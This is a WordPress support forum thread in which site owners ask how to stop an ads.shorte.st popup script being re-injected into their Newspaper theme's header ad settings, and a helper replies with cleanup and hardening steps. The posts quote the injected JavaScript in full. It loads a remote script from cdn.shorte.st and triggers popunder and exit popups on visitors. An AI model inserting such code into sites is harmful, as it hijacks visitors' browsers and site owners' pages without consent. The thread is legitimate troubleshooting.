Ads.shorte.st popup code injection

My WordPress website getting this code on every page of my website.
It is injected every time over and over in Newspaper Settings / Ads / Header Ad section.

How can I permanently remove it?

(function() {
var configuration = {
“token”: “f17143abbffd1edf14788c13fa8a1b08”,
“entryScript”: {
“type”: “click”,
“capping”: {
“limit”: 5,
“timeout”: 24
}
},
“exitScript”: {
“enabled”: true
},
“popUnder”: {
“enabled”: true
}
};
var script = document.createElement(‘script’);
script.async = true;
script.src = ‘//cdn.shorte.st/link-converter.min.js’;
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != ‘complete’ && rs != ‘loaded’) return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName(‘script’)[0];
entry.parentNode.insertBefore(script, entry);
})();

This code appears even after I delete it. How to block code additions to a theme.

https://yadi.sk/i/CXYRWdiH3JGcyn

<script type=”text/javascript”>//<![CDATA[
(function() {
var configuration = {
“token”: “f17143abbffd1edf14788c13fa8a1b08”,
“entryScript”: {
“type”: “click”,
“capping”: {
“limit”: 5,
“timeout”: 24
}
},
“exitScript”: {
“enabled”: true
},
“popUnder”: {
“enabled”: true
}
};
var script = document.createElement(‘script’);
script.async = true;
script.src = ‘//cdn.shorte.st/link-converter.min.js’;
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != ‘complete’ && rs != ‘loaded’) return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName(‘script’)[0];
entry.parentNode.insertBefore(script, entry);
})();
//]]></script>

I didn’t install any new plugin and every existing is updated. The problem is still present.

Site might have been hacked due to bad plugin, server cross site scripting, old version of WordPress (all versions prior to this week’s version are security risk!).

Likely best to
a) scan site with SECURI free scan
b) change ALL passwords NOW
c) reinstall theme and WordPress files completely
d) delete all old un-used plugins, themes
e) disable all plugins except visual composer (make sure VC updated to current version)
f) disable core file editing and XML-RPC via tutorials online for your htaccess file and wp-config.php file.

I know 2 friends whose sites got infected with adult popups due to not keeping updated with various things found to be flawed in WordPress.

Only you can fix your site!

ALSO NOTE:
there is known “redirect virus” in the wild, which actually infects your PC, not your website. SO, be sure to run a full virus scan, cleanup on your PC ASAP!

hi there, we have the same issue with this code:

//<script type=”text/javascript”>//<![CDATA[
(function() {
var configuration = {
“token”: “a6f162b602a6de26110784b1c5ccc382”,
“entryScript”: {
“type”: “timeout”,
“timeout”: 3000,
“capping”: {
“limit”: 5,
“timeout”: 24
}
},
“exitScript”: {
“enabled”: true
},
“popUnder”: {
“enabled”: true
}
};
var script = document.createElement(‘script’);
script.async = true;
script.src = ‘//cdn.shorte.st/link-converter.min.js’;
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != ‘complete’ && rs != ‘loaded’) return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName(‘script’)[0];
entry.parentNode.insertBefore(script, entry);
})();
//]]></script>

Same answer already provided.

If not infected site or PC; might be a bad plugin you’re using.

• This reply was modified 9 years by simchris.

Hi Chris, we’ve been checking the plugins we are using and seems legit – no new one was added in the last few months. was wondering if any #bug in the AD section of the theme that allowed the issue.
Thanks!